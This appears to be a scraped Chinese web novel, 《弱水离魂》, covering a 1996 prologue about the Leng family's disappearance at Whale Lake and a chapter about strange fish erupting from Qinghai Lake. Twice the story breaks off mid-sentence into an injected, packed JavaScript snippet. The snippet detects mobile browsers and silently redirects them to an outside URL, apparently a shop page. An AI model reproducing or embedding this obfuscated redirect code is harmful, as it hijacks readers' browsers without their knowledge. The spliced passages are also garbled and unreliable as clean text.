《弱水离魂》 1. 引子 1996年1月,羌唐无人区,鲸鱼湖。 昆仑山腹地的冬天,极冷,放眼望去,苍茫无尽,白茫茫一片,四周群山环绕,一侧就是雄浑壮美的昆仑山脉,山脚下是一片辽阔冰封的湖面。 飞鸟早已没了踪迹,就连野生动物都很少出没,原本应该人迹罕至的天地间,却有丝丝缕缕的烟气在湖岸边升腾而起。 细看,白雪茫茫覆盖之下,竟然有一顶简易帐篷,看构造类似于沙漠地区的地窝子,先在沙地挖了个四四方方的深坑,再在上头用几根粗木固定成三角,蒙上一层厚油布罩顶,这样就可以抵御高寒地区的风雪天气。 只见这地窝子顶棚的侧面掏了个洞,里头的烟囱伸出来,丝丝缕缕的烟正团团溢出。 地窝子正前方就是一望无际的鲸鱼湖,因湖的形状恰似一条横卧的肥大鲸鱼,因而得名。 正值寒冬腊月,湖面结了厚厚一层冰,只见一个男人静坐在湖边,屁股下垫了块石头,一旁的雪地上搁着一根铁质的冰钏子,男人一身黑皮袄子,头戴厚厚的雷锋帽,他应该已经在湖边坐了许久,周身落了一层雪,在风雪之中一动不动,犹如一座冰封的雕塑。 细看,只有手上有细微拉扯的动作,原来他手里拉着一根银白色鱼线,不时来回轻扯,鱼线不松不紧地悬着,另一端延伸进了湖面早早打好的洞里,看起来似乎是在冰钓。 就在这时,地窝子的木门开了,一个女人从里面探出头来,往男人的位置看了看,寒风瞬间涌进屋内,屋内顿时像是刮起了风暴,沙土扬起,烟气弥漫,顶棚的油布都被吹得鼓荡起来,慌忙间,她又关上了门。 地窝子里的面积不大,也就三四个平方,一进门的角落里支着一个小巧的铁质炉灶,炉膛里的火烧得正旺,四周被烘烤得暖哄哄的,炉子旁放着几块石头,当作简易板凳,最里面的区域用木板搭了两张床,四角都用石头垫着,两张床中间的空位,垫了张草席,上面放了一张小方桌,方桌上搁着零零碎碎的东西,碗、茶缸、手电筒、笔记本…… 屋里有两个女人,一个是方才准备推门出去的女人,大眼睛,小圆脸,嘴角抿起时脸上会显出两个精巧的酒窝,还有一个女人侧身坐在木板床上,长得白皙清瘦,低头忧心忡忡地看着躺在床上的男人。 那男人双眼紧闭、脸色发白,嘴唇都微微有些发抖,女人不时用手摸摸男人的额头,之后又摸摸自己的额头。 “怎么样,大哥还在发烧吗?”圆脸女人问。 “好像好了一点,没有昨晚烧得那么厉害了。” “那就好!” 话音刚落,炉子上的铁锅咕嘟咕嘟沸起来,一时间热气上涌推顶起锅盖,眼见汤汁就要扑出来,圆脸女人赶忙过去掀起锅盖,又拿勺子在锅里搅了搅,锅里的汤已经炖成了奶白色,搅动之下,鲜香浓醇,她舀起一勺尝了尝,火候差不多了,味道也够。 她拿瓷碗舀了满满一碗汤,小心翼翼端到床边,递给坐在床边的清瘦女人。 “嫂子,让大哥把这碗热汤喝了,身子会舒服点!” 清瘦女人刚准备开口说话,闻到汤飘散出来的气味,顿觉腥气,立马俯身下去,控制不住地干呕起来。 圆脸女人吓了一跳,忙把汤碗搁在桌上,躬身下去帮清瘦女人轻拍后背,一边拍一边说:“嫂子,你身体不舒服吗?不会也病了吧?” 清瘦女人不断拍打胸口,呕到后来眼泪都冒出来,可呕来呕去硬是什么东西都没吐出来,她扶着床沿呕了好一阵,才渐渐平复下来,朝圆脸女人摆摆手:“没事,没事,可能是最近老喝这鱼汤,喝得有点反胃了。” 圆脸女人也深有同感:“也是,天天喝这玩意儿,我都喝腻了,不过这种无人区,没办法,我们的食物储备不多了,现在大雪封山,外面的人也进不来,我们还要在这里挺一段时间才行,大哥这身体状况,得多喝点热汤发发汗!为了身体,嫂子你忍着也得喝点儿。” “好!我过会儿喂他!” 清瘦女人说着低头看了看躺在一旁病得迷迷糊糊的丈夫。 “行,那我出去看看仲明……” “嗯,你让他赶紧进来烤烤,不要也跟他哥一样冻病了,这种高海拔地区,感冒发烧都不是小事!” “好。” 女人说着就往外走,走到门边时,停下来到炉灶旁拎起一个铁桶,铁桶里装着几条肥鱼,身上泛出银白色的光,铁桶微微晃动,鱼在桶里死命扑腾,搅起一阵阵水花。 女人拎着桶推开门,寒风瞬间扑面而来,她缩着脖子拢了拢衣襟,几步跨到门外,又赶忙反身关上了门。 湖边的男人仍旧一动不动地坐着,连眼睛眨动的频率都很低,只有手中不时扯动的鱼线能证明他是个活物,女人快步走过去,把铁桶搁在地上,轻轻拍了拍男人的后背和肩膀,雪花簌簌落下,男人这才扭头看向女人,低声说:“这么冷,你怎么出来了!” 女人微微一笑:“鱼汤煮好了,我放了姜,赶紧去喝了暖暖身子,你可不能再病倒了!” 男人双眼紧盯着入水的鱼线,嗯了一声,又说:“一会儿的,等这波鱼上钩。” 女人没再说什么,弯腰将男人扔在一旁已经冻得硬邦邦的渔获一一捡拾起来,扔进桶里,又从一旁挪了块不大不小的石头,挨着男人坐下。 “大哥怎么样?还在发烧吗?”男人问。 “大嫂说好了一些,喝点热汤,发发汗应该能好一点。” 男人喃喃低语:“大哥本来身体就不好,不应该让他来的……还有大嫂也是……” “你们兄弟感情这么好,他不可能让你一个人来冒险……” 男人笑了笑,叹道:“也是,别看大哥一副书生相,发起脾气来,那一般人可受不了,也只有嫂子知道怎么治住他……要说啊,还真是一物降一物……” 说完,两人相视一笑,女人久久地看向男人,有些欲言又止,男人也看她,见她有话要说,忙问:“怎么了?” 女人轻叹一口气:“我想孩子了,她还那么小,咱们这趟出来太久了,也不知道她每天吃得好不好,睡得好不好,有没有到处找妈妈……” 男人沉默片刻,柔声安慰:“放心,有老爷子呢,就算老爷子照顾不好,还有孩子的姑姑呢,不用担心,等这头有点眉目了,我们就可以回去了。” “等这头有眉目得等到什么时候?咱们都出来这么久了……可到现在也什么都没发现……” 也是,已经出来大半年了,他们一路从青海湖到了昆仑山的深处,从夏天待着到了冬天,现在他们所在的区域属于羌塘无人区,地貌奇特,地形复杂,方圆百里荒无人烟,加之海拔又高,气候恶劣,被不少人称为“生命的禁区”,死在这里的人不计其数,平日里想要进入无人区都要慎之又慎,必须做好万全准备,更何况大雪封山的时节,风雪交加,又常有野生动物出没,如此广袤的区域,稍不注意就会失去方向感,最后只能在绝望中冻死或者饿死。 现在是无人区一年之中最冷的季节,最冷可以达零下三十多度,一旦大雪封山,想出去的出不去,想进来的也进不来,好在,他们来之前就准备了不少生活用品,只要捱过大雪封山,就会有人来接他们了。 女人越说情绪越低落,像是觉得他们在做无用功,这么些年,冷家人来了一波又一波,却无一个平安回去,原本盛极一时的冷家也因此日渐凋落,无人知道在广袤的西北大地上曾经发生过什么……那些失踪的冷家人有没有找到传说中的井…… 有鱼咬钩,男人手里的鱼线顿时绷紧了,男人紧紧扽住一头,慢慢控制力道往怀里收线,既怕力道重了鱼线受不住会崩断,又怕力道轻了鱼线脱手,忙将鱼线末端绑着的棍子插进雪地里。 水下的鱼劲力极大,入水的鱼线被拉扯着奔向四面八方,一会儿向前一会儿向后,一会儿向左,一会儿又向右,男人全神贯注,全身都在用劲,丝毫不敢懈怠,他瞅准时机,一边扯线一边收,借着势头,乘胜追击,纤长的鱼线一点点从湖水中露出来,之后又被收到了男人手里。 女人知道渔获即将上岸,赶忙把桶往男人身边挪了挪。 这鲸鱼湖,是一半咸水一半淡水的阴阳湖,湖的西岸因无淡水注入,天长日久蒸发,湖水盐度很高,是个没有生命的死湖,常年寂静无声,一片死气沉沉。 而湖的东岸有玉浪河的冰川融水注入,形成淡水湖,里面浮游生物丰富,一到春季开湖,湖边便“鸥歌鸭舞”,除此之外水中还盛产一种高山雪鲤,这种鱼很是奇特,只能生长于水质极佳、水温极寒的环境里,它们牙尖嘴利,又凶猛嗜血,非常不易捕获,但一旦抓住,稍加烹煮就是一道不可多得的美味。 男人手里拉着的是冷家的“天罗地网”,最初是为了水下作业时防身而研制,顾名思义就是这网子一旦在水底打开,那就相当于布下了天罗地网,能让目标物瞬间丧失攻击能力,在这种苦寒之地,用“天罗地网”来捕鱼,倒也是不错的妙用。 男人不停收线,网子渐渐露出水面,边缘一圈的鱼钩上挂满了大大小小的鱼,个个活蹦乱跳,身上的鱼鳞泛出银白色的寒光。 男人不慌不忙地把网子拉到岸边,这才松手,因为天气寒冷,方才还活蹦乱跳的鱼,上岸没一会儿就冻成了冰棍,一个个硬邦邦的。 男人麻利地将网兜里的鱼倒进桶里,又挨个去摘挂在鱼钩上的鱼。 女人在一旁看着,笑着说:“还挺有打渔的模样,你说你要不是姓冷,说不定真能做个合格的渔夫……” 说到这里,女人停下来,叹道:“你要真是个渔夫……倒也挺好!” 听到这话,男人手上动作一顿,一个没注意,就被冻僵的鱼咬了一口,他疼得嘶了一声,眉头瞬间皱起。 女人心惊,忙去看男人:“怎么了?怎么了?” 男人笑笑,顺势举起了手里的鱼:“大意了,被鱼咬了一口!” 奇了怪了,这些鱼原本都已经冻成冰棍了,现在却冲两人龇牙咧嘴,露出森森然的尖牙。 女人自然知道这鱼牙齿极厉害,急忙扯过男人的手来看,男人手上的皮手套被咬破了,手指头已经露骨见血,殷红的血止不住地往外流,血滴在了洁白的雪地上,触目惊心。 女人慌乱地掏出一块帕子,给男人包上伤口,也不管网子上的鱼了,拎着桶,拉着男人就往回走。 “行了,都不要了,赶紧回去包扎伤口!” 两人快步回屋,肇事的鱼躺在原地,嘴巴一张一合,牙齿和嘴上还留着殷红的血。 ***** 夜里,风雪又紧,呜咽的风声犹如鬼哭狼嚎,吹得屋顶油布哗啦作响,炉膛里的牛粪热烘烘地烧着,可还是觉得四处透风,被窝缝隙处丝丝冒凉气。 大哥大嫂身体不适都早早睡下,另外两口子则翻来覆去睡不着,男人索性爬起来,披着衣服跑到火炉边坐下,就着火焰跳跃的光亮,拿出笔记本写写画画起来。 圆脸的女人从被子里钻出头来,看向丈夫,低声问:“你说他们到底在哪里出的事儿,那些人说的‘井’又到底在哪儿?” 男人停下笔,看向女人,摇了摇头,叹道:“要是能搞清楚这些,我们也不用老大远跑来找这么久了……” 说话间,头顶的油布顶棚上突有异响,像是有什么颗粒状的东西砸下来,哗哗啦啦一阵,女人吓了一跳,一下坐起身来,侧着耳朵听,声音很快止息,紧接着又是一阵,她紧张地攥紧了衣襟,轻唤了一声丈夫。 “仲明,你听这是什么声音?” 男人也听到了这怪异的响动,抬头看向顶棚,仔细听。 紧接着,哗哗啦啦,又是一阵,临床的大嫂也被这突如其来的声响吵醒了,四个人里就只剩下生病的大哥还昏昏沉沉地睡着。 大嫂死盯着顶棚,抖着声音问:“是什么东西?” “是不是下冰雹了?” 男人放下笔记本,起身说:“我出去看一眼。” 说着,穿上皮袄子,拿起桌上的雷锋帽,又从床底下摸出一把猎qiang背在身后,临出去前,屋里的人对他说:“小心点啊!” 男人嗯了一声,拉开低矮的木板门,狂风瞬间灌进屋内,呼呼乱吹,瞬间吹散了屋内的热气,顶棚的油布被吹得哗哗作响,仿佛下一秒就要掀开。 男人很快关上门,寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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圆脸女人打开手电筒,小心翼翼朝着顶棚晃了晃,有细长的影子一晃而过,快如闪电,接着是一阵银白色的光一闪,像锋利刀刃上的寒光一般,两人的身子皆是一僵。 不是野狼,那不是野狼,那是个什么东西啊! 圆脸女人一时间头皮发炸,根根汗毛直竖,心里又怕又慌,既担心丈夫那边的情况,又担心眼前的情况她们控制不了,危机时刻,她还是强制让自己镇定下来。 “大嫂,咱们出去看看!” “好!” 两个女人相互依靠着走向门边,打开门,呼啸的风声席卷而过,头顶破裂的油布被吹得上下翻飞,呼啦作响。 她们几乎异口同声叮嘱对方:“小心点!” ****** 两人一前一后出了门,一头就扎进风雪里。 外头的雪下得很大,积雪已经深及膝盖,雪地反射出的光照亮了大地,她们绕着地窝子走了一圈,倒是看到一些凌乱的印记,但是不能确定是什么东西留下的,又看到一长串清晰的脚印,沿着湖岸往远处去了。 是仲明的脚印! 两人沿着脚印的路线,深一脚浅一脚地跟着往前走,一边走一边喊:“仲明!仲明!你在哪儿啊?” 狂风暴雪肆虐的夜晚,声音传不了多远,很快就掉落在白茫茫的雪地里,又走了一阵,还是没有看到仲明的身影,一回头,地窝子已经远在身后了,再一回头,眼前的脚印突然戛然而止,没了!圆脸女人心里又急又怕,喊声出口都带了哽咽的颤音。 “仲明,仲明,你在哪儿啊,你可别吓我!” 两人在脚印截断处站定,背靠背向四处望,圆脸女人忽见不远处的冰面上趴伏着一团黑影,心头随之一惊,赶忙拿手电往那一处照了照。 没错,是个人趴在冰面上,身上还穿着仲明那件黑色的皮袄子。 她来不及多想,几步就奔了出去,大嫂见状,下意识握紧了身上的猎qiang,慌里慌张跟出去。 两人一前一后上了冰,脚下控制不住一阵溜滑,连摔几个狗吃屎,但她们完全顾不上,此时她们只是担心仲明是不是受到了攻击,受了重伤才摔在冰面上…… 圆脸女人的一颗心揪起,足下发力狂奔,就在距离仲明还有一步之遥的时候,只听冰面一阵裂响,那团黑影之下的冰层突然爆裂开来,她心中大骇,惊慌大喊:“不好!” 大嫂伸手就要拉圆脸女人,想让她退回到安全区域,哪里能想到女人一心想要救丈夫,一个飞扑抢地,腹部贴地,借着溜滑的冰层,冲过去就要伸手抓人,可就在这时,冰冷刺骨的湖水从裂口瞬间涌出,那团黑影突然急坠下去,女人不但没抓住人,身下的冰层也瞬间裂开,她跟着一头扎进水里,在彻骨的水中扑腾起来。 大嫂见状赶忙伸手去捞圆脸女人,哪里知道那冰层的破裂速度之快,瞬间就到了自己脚下,还来不及反应,她也扑通一声入水,慌忙中,她忙将猎qiang摘下横在头顶的冰层之上,想借着qiang杆子的支撑力爬上冰面。 求生欲使然,圆脸女人紧扒着大嫂一条腿,就像是抓住了最后的救命稻草。 就在这时,那团黑影突然从水下窜上来,紧紧抓住大嫂的脚腕,用力往下拉拽,大嫂和圆脸女人低头往下一看,就看到皮袄子之下有银白色的寒光一闪而过。 力道很大,去势很急,她们实在挣扎不过,已经再无上去的可能,在没入水中的一刹那,她们分明看到岸边立着一道黑影,正朝这头看过来。 “完了!” 冰冷刺骨的河水漫上来,她们往湖底急坠而去。 ****** 一夜风雪过去,太阳从天边冒出头来,辽阔的天地间又恢复了宁静,雪地无痕,好像这一夜什么都没发生,冷柏山从迷迷糊糊中醒来时,发现地窝子已经塌了,恰巧他缩在角落躲过一劫。 他第一反应就是担心其他人有没有事,他着急忙慌爬出来,掀开坍塌的油布想要找人,地窝子里一片狼籍,哪里有人的影子。 “出什么事儿了?人都去哪儿了?” 他惊恐四望,除了白雪覆盖的土地,就是连绵起伏的雪山,哪里有一点人的踪迹…… **** 2. 水怪 8月,青海。 又是一个晴好天气,小马一大早送客人去西宁赶飞机,回程的路上,太阳已经明晃晃地悬在头顶,他打开车窗,风从远处吹过来,裹带着青草的清新气,令人心旷神怡。 小马突然来了兴致,放起歌来,都是当地特色,悠扬的马头琴,搭配民族风的吟唱,他也情不自禁跟着哼唱,唱着唱着心情都为之开阔舒爽起来。 七八月份是青海最美的季节,放眼望去,苍茫大地间牛羊成群,绿草如茵,野花芬芳,晴空万里之下,景色就像画卷一般在辽阔的天地间铺展开来,红黄蓝绿的缤纷色彩,就像画家手里的调色板。 小马今年刚满二十岁,个子不高,黑瘦黑瘦的,但浓眉大眼,五官立体,颇有些少年气,他从小在青海湖边长大,现在在青海湖边的“观澜客栈”工作,日常负责开车接送客栈里的客人,闲暇的时候也会帮忙店里做些清扫整理的工作。 时间还早,小马也不着急,车在宽阔的柏油路上不徐不疾地前行,往来的车辆很少,半天都遇不着一辆,走了好一阵,车子终于穿过广袤无垠的戈壁,眼前出现了一片片天然草场,沿着道路两边不断向外延伸,一直延伸到远处的山脚,牛羊成群撒欢,牧人骑着摩托挥着鞭子驱赶,风一阵阵吹来,颇有点“风吹草低见牛羊”的悠然意境。 车又开了一阵,远远能看见青海湖,在阳光下泛着幽蓝色的光,打眼看去就像一块蓝色宝石镶在了天边。 看到青海湖就离客栈不远了,小马估摸着差不多一刻钟就能到了,沿湖的路像黑色的丝带,向着远处蜿蜒而去,他看了一眼副驾上搁着的玫瑰花束,心里不禁有些小雀跃,嘴角扬起一抹笑意。 最近客栈的央金跟他闹了别扭,为了缓和关系,客栈老板娘给他出了个主意,让他去西宁的花店给央金买一束花,然后再诚心诚意给央金道个歉,虽然他傻乎乎根本不知道央金为啥生他的气,但一想到央金收到这束花时的惊喜,小马脸上都是藏不住的笑意。 就在这时,一阵急促的手机铃声打断了他的思绪,他拿起手机一看,笑着连上车内蓝牙,按下了接听键,央金的声音立马传过来,语气不太好,分明还带着气。 “喂?回来了吗?” “回来了,回来了!怎么了?老板娘找我?” “没有,我就问下你,看你这么长时间还不回来,是不是又带着那个小夭出去玩了?” 小马连连否认:“没有,没有,绝对没有,我在回来的路上了!” 那头依旧冷冰冰:“行了,我挂了!” 说完,还没等小马说话,央金就挂了电话。 “唉……这日子没法儿过了……昨天翻白眼就翻了我不下五十次……” 原本的雀跃顿时又蒙上了一层阴影。 昨天中午,小马跟客栈里的同事一起吃饭时,央金老拿眼睛剜他,那眼神跟刀子似的,看得他胆战心惊,好几次手跟着一抖,菜都吓掉在了桌上,再这样下去,他可真是小命不保,他也真是搞不懂女孩子,动不动就生气,也不说为什么生气,一问就说“我没生气啊,谁说我生气了”,可明眼人都能看出来她们生气了,还是非常非常生气那种。 小马有一肚子的委屈,自己在车里嘀嘀咕咕起来,说着说着,忽见湖边有好些越野车聚在一起,还有好多无人机在湖面飞来飞去,突然有这么多车聚集在一起,实在少见,不会是湖上出什么事儿了吧…… 人都爱看热闹,他也不例外,常年在一个地方待着,日复一日地生活,哪有那么多新鲜事啊,所以一有什么热闹,他都爱往前凑凑。 小马把车速慢下来,等走得近了,见那堆越野车里有一辆非常眼熟,那是镇上二百八的车,他的车很有特点,行李架上缠满了五彩旗,风一吹就四下翻飞,隔着老大远都能看到,二百八不是本地人,几年前年在镇上租了房子做包车生意,他一人身兼多职,既是导游、司机,又是摄影师,带着游客到处玩。 这会儿他不应该带着客人出去玩了吗?怎么会在这里? 不管了,先去看看热闹再说,他车头一转,沿着湖边野路,一路把车开到底,停在了那堆越野车的外围。 越野车里的人都出来了,在湖边一群群围聚,里三层外三层地围成了好几个圈,正低头聚精会神看着什么,一边看还一边议论纷纷。 小马关门下车,想先找二百八打听一下情况,视线在人群中来回搜索,见众人一个个面露惊异神色,之后就是一阵惊呼:“沸了!沸了!” 小马一脸懵,忙问:“什么废了?谁废了?” 话音刚落,耳边就响起一个熟悉的声音。 “唉,挤什么挤什么?热死了!” 只见二百八正在对面的人堆里打转,热得满头大汗,撅着屁股想出来。 小马忙绕到对面,拍了拍二百八:“这是怎么了?” 二百八一回头,见是熟人小马,忙从人群里退出来,一屁股坐在地上说:“哦,他们说这湖里可能有水怪!” “水怪?什么样的?你看到了?” 二百八摇摇头:“没啊,我什么也没看见,光看见水冒泡了,刚刚有游客说青海湖和新疆喀纳斯湖都有水怪的传闻,大家就猜,湖水冒泡说不定是水怪在作怪……” “水冒泡?” 小马越听越好奇,扭头向湖面望去,出事的地点离湖岸很远,依稀只能看到那一处白浪翻涌,蚂蚁般大小的无人机正在湖面盘旋,怪不得这些人围聚在一起呢,想必都是在看无人机传回的画面。 “唉,唉,唉,又沸了!又沸了!”人群又是一阵惊呼。 不行,实在是好奇极了,非得挤进去看看不可! 小马试着往人群里挤了好几次,但人围得水泄不通,他被挤得龇牙咧嘴都没挤进去,正急得抓耳挠腮,突然看到二百八油光锃亮的大脑袋,光滑如卤蛋的头上泛出智慧的光芒,他灵机一动,便打起了二百八的主意。 二百八比他大几岁,因为长得高大壮实体重直达二百八,因而人送外号二百八,二百八和小马站在一起那真是对比强烈,两人仿佛拿错了人生剧本,一个明明是本地人却长得瘦弱单薄,一个明明不是本地人却长得彪悍壮实,孔武有力,很有高原汉子的风采。 小马一把拉过二百八,嬉笑着商量:“二百八,你扛着我上去看看?” 二百八直接拒绝:“哎呀,没什么好看的!” 他说得倒是实话,方才他也是一脸好奇地挤进去看了,结果还不是一脸失望地出来了,原以为能看到什么神奇的画面呢,结果就是湖水冒泡,这些游客也真是大惊小怪,湖水冒泡有什么稀奇嘛! 见小马一脸不相信,又无奈地接了一句:“真没什么好看的!我没骗你!” 小马却不依不饶,死命拉着二百八站起身来,又拽着他一条胳膊不撒手,整个人几乎都挂在他身上,缠着他非要上去看看,二百八实在甩不脱,也拗不过,只好投降,朝小马招招手:“行吧,行吧,上来吧,不过只能一会儿啊!” “行行行!” 小马满口答应,扒着二百八的肩头就从他后背上窜了上去,像猴子一样敏捷迅速,骑坐在二百八肩头,二百八反过胳膊,紧紧箍住了小马的腿。 一上去,小马顿时觉得视野不一样了,刚刚拼命挤了半天,连别人的脑瓜顶都看不到,这下居高临下一切尽收眼底,小马用小腿夹住二百八的腰腹,就像骑马那样,踢了踢他的肚子,催促二百八:“哎呀,你快点靠过去,靠过去!” “嗐你这个小东西,还真把我当成马骑啦!” 二百八虽然嘴里骂骂咧咧,但身体还是听话地靠了过去。 密密挨挨的脑袋中间,有一块小屏幕,所有人都聚精会神盯着看,小马赶忙掏出手机,打开录像功能,对准那块屏幕,手指在屏幕上不停放大放大再放大,只见无人机拍摄的画面上出现了奇异的一幕——湖面有个圆形区域,看上去直径不到一米,里面的水像开了锅的沸水,不停向外翻滚出白色的浪花。 怪不得刚刚人群喊“沸了,沸了”,原来是这个意思,结果他却听成了废了。 二百八驮着小马,仰着脑袋问:“怎么样,看到了吗?” “看到了,看到了,我在拍视频呢!” 紧接着,人群又是一阵惊呼:“鱼,好多鱼!” 原本沸腾的湖水,突然喷薄上涌,带出了好多活鱼,密密麻麻,像喷泉似的,鱼被带到半空,一个个翻腾跳跃,划出一道道优美的抛物线,最后重新掉落水中,鱼群像是纪律严明的队伍,一落水就迅速汇集,向着四面八方游去,它们速度很快,鱼尾拍击湖水时,鱼鳞上银白色的光一闪一闪。 二百八光听见惊呼,没看到这样的名场面,心下着急,不停问:“什么鱼,什么鱼啊?” 喷涌一直在持续,人群看着画面越来越激动,见鱼群过来了,原本团团围在一起的人群迅速散开,三三两两向着湖边跑去,不少人边跑还边喊:“来了,来了,鱼来了!” 二百八这下着了急,看热闹嘛就要趁热,要是耽误了时间,凉了,那还看个什么劲,他像是忘了后背上还有一个人,驮着小马甩开膀子就跟着人群往湖边跑,小马在他背上颠来颠去,两个大男人,以这样一种姿态向着湖边狂奔而去,场面一度很滑稽,幸好所有人的目光都在那片盈蓝的水面上。 小马急忙拍了拍二百八锃亮的脑袋:“你先放我下来,你放我下来!” 二百八这才意识到后背上还驮着一个人呢,赶忙把小马扔下来:“到底怎么了?这些人怎么都往湖边跑啊?” 小马一边把手机拍的视频递给二百八看,一边拉着他往湖边走。 鱼带着泛白的浪花从远处涌来,放眼看过去蔚为壮观,不少人拿着手机拍照录像,甚至还有人现场开启了直播。 小马和二百八都惊呆了,他们这些年在青海湖边来来去去,哪里见过这样的场面啊,这青海湖是咸水湖,湖里只能生长一种鱼类,叫湟鱼,前些年因为湖里湟鱼数量大减,几乎已经到了濒临灭绝的地步,政府为了生态环境的可持续发展,已经禁捕好些年了,谁也没见这湖里鱼群这样泛滥啊?! 两个扛着单反相机的老头,一边拍照一边热烈地讨论。 “怎么这么多鱼?这一下子少说也喷出来上千斤吧,青海湖里的鱼不是挺少么……” “是啊,这是不是鱼泉啊?” “鱼泉?” “是啊,我之前去四川旅游,有个老乡的房子下面就挖出了鱼泉,每天能涌出上百斤的鱼来!我还专门花了十块钱,进去看了看,确实黑压压的都是鱼,个头还不小。” 小马和光头在一旁听了去,对视一眼,难不成真是所谓的“鱼泉”?要不然就是青海湖里的鱼突然多起来了? 鱼群眼见着就要到达岸边,人群异常兴奋,高声喊着:“来了,来了!” 几秒之后,鱼群像离弦的箭一般冲向岸边,有的冲到了岸边的沙滩上,有的落在了游人的脚边,有的又被翻滚的浪重新卷回水里,它们显然不甘心,又卯起劲往岸边冲,它们无所畏惧,像是并不眷恋水,倒是有些向往干燥的陆地,于是迫不及待地涌上岸,一时间,岸上全是噼里啪啦活蹦乱跳的肥鱼。 有条鱼,巴掌大小,恰好拍在了小马脚背上,啪一声响,动静不小,震得他脚背都微微发麻,之后滚到一旁的沙地上,嘴巴一张一合,鱼身也一蹦一跳,像是在做最后的挣扎。 鱼离水久了就活不了了,小马想把鱼重新送回水里,赶忙伸手去捡,结果刚碰到鱼,也不知道是不是鱼鳞带刺,顿时感觉一阵刺痛,手指登时就见了血,他哎呀一声,把周围人都吓了一跳,原本还想捡鱼的人顿时小心起来,有的赶忙回车上拿工具,有的直接用脚把鱼踢回水里。 伤口开始一阵阵钻心的疼,小马皱起眉头,心里感觉不妙,平常要是碰了鱼也不会这样啊?难不成这鱼有毒啊?一旦有了这种猜想,心里就开始七上八下起来。 光头也感觉到了小马的不对劲,忙问:“你没事儿吧?” 小马摇头,强装镇定:“没事,被鱼鳞划伤了……” 话音未落,他说到鱼鳞两个字的时候,身子陡然一僵。 鱼鳞?不对! 不对!这不是湟鱼! 青海湖里的湟鱼很特别,因为不长鱼鳞,又被称为裸鲤,但刚刚那条鱼分明有鱼鳞,还刮破了他的手指,想到这里,小马赶忙低头又去看,只见刚刚弄伤他的那条鱼身子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319304|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上沾满了沙土和血迹,但细看确实能看到细细密密的鱼鳞,在阳光照耀下闪着银白色的光,他又蹲低身子,换了个角度,发现鱼鳞是向着同一个角度竖起的,鳞片呈三角形,像竖起了一根根尖刺。 鱼还在不停挣扎扑腾,鱼尾拼命拍打沙地,像是试图重新回到水里。 手上的伤口仍然血流不止,痛感不断加剧,小马再看向脚边的鱼时突然有些恐惧,飞起一脚把鱼踢回了湖里,赶忙转身想要回去,一抬头,就看到身后不远处有两张熟悉的面孔,正在饶有兴致地看他。 “小夭,冷姑娘!你们怎么在这里?” 是两个姑娘,一个叫小夭,一个叫冷晚晚,都是观澜客栈的客人。 小夭扎着两个麻花辫,穿着露脐短裙,纤细的腰肢弧度优美,一双长腿上套着芥末绿的长筒袜,很是惹眼,她嘴里叼着根棒棒糖,不紧不慢地走过来,黑溜溜的眼珠子盯着小马转来转去,话里带针带刺的:“我们来看热闹啊,不行吗?你不也来看热了嘛!” 冷晚晚跟在小夭身后,一身藏族人打扮,乌黑的秀发间掺着一层五彩线编的小辫子,头上戴着玛瑙和琥珀穿成的珠串,穿一身土红色的藏袍,腰间扎一条宽腰带,脚踩牛皮短靴,走动间风情无限,她紧盯着小马受伤的手指,嘴角翘了翘,露出两个好看的酒窝。 “受伤了?这是被鱼给咬了?” 小马被两个姑娘看得浑身不自在,尴尬地说:“不……不是……是鱼鳞刮伤的……” 他说着说着就红了脸,小马有一个毛病,就是一跟姑娘说话就爱脸红,手足无措,特别是漂亮姑娘。 二百八就不一样了,别看他长得膀大腰圆,一副粗心汉子的模样,他可是哪里有漂亮姑娘就爱往哪里凑,原本还关注着湖里的鱼呢,这会儿注意力瞬间就转移到了两个姑娘身上,见她们跟小马好像是认识的,赶忙笑嘻嘻地凑上去搭话。 “哟,两位美女跟小马认识啊?” 这话听上去是问两个姑娘的,但其实他的眼睛一刻都没有离开冷晚晚,他啊,喜欢那种妩媚艳丽型的姑娘,冷晚晚就是属于这一卦的,一身宽宽大大看不出身材的藏袍,都能被她穿得妖娆风情,想必在厚重藏袍之下,一定更加美妙可观,二百八脑子里已经开始浮想联翩。 “你们既然跟小马认识,那大家就是朋友了,他们都叫我二百八,两位怎么称呼?” “我刚刚听小马叫你们小夭和冷姑娘?” 二百八自说自话了半天,也没人接话,他也不觉得尴尬,还在一旁乐呵呵的。 两个姑娘显然不想搭理他,冷晚晚连看都没看他一眼,视线直接越过他,看向小马,冲着小马微微一笑:“小马,热闹看过了,我们跟你一起回客栈吧,你的伤口也要好好处理一下。” 小夭裹了裹嘴里的棒棒糖,看着小马受伤的手,啧啧感叹了两声,末了又往他身边靠了靠,两人的距离一下子拉近,几乎贴在一起,小马吓了一跳,下意识往后退,但身后就是鼓荡不停的湖水,小夭赶忙一把拽住他,硬邦邦怼了一句:“你躲什么啊,怕我把你吃了?” 说着,弯腰仔细看了看小马手上的伤口,然后拿出嘴里的棒棒糖,刻意摇摇头感叹:“看起来挺严重啊,手指头都肿了,这要不好好处理,感染了可能会要截肢的……” 小马听得心惊肉跳,脸红一阵白一阵,嘴巴张了半天,出口的话就结巴了:“截……截肢……” 冷晚晚知道小夭存心逗小马,见小马被吓得不行,笑着说了小夭一句:“你就别吓他了,带着他回车上,我帮他看看!” 小夭不乐意地瘪瘪嘴:“我什么时候吓他了,我这是让他了解事情的严重性,很多鱼身上都是带病菌的……” 话虽这样说,小夭还是听从了冷晚晚的吩咐,拽着小马的胳膊就往外走,小马傻傻愣愣的,被拉拽的一个踉跄,还好被小夭一把扶住。 “走走走,你车停在哪儿了?” 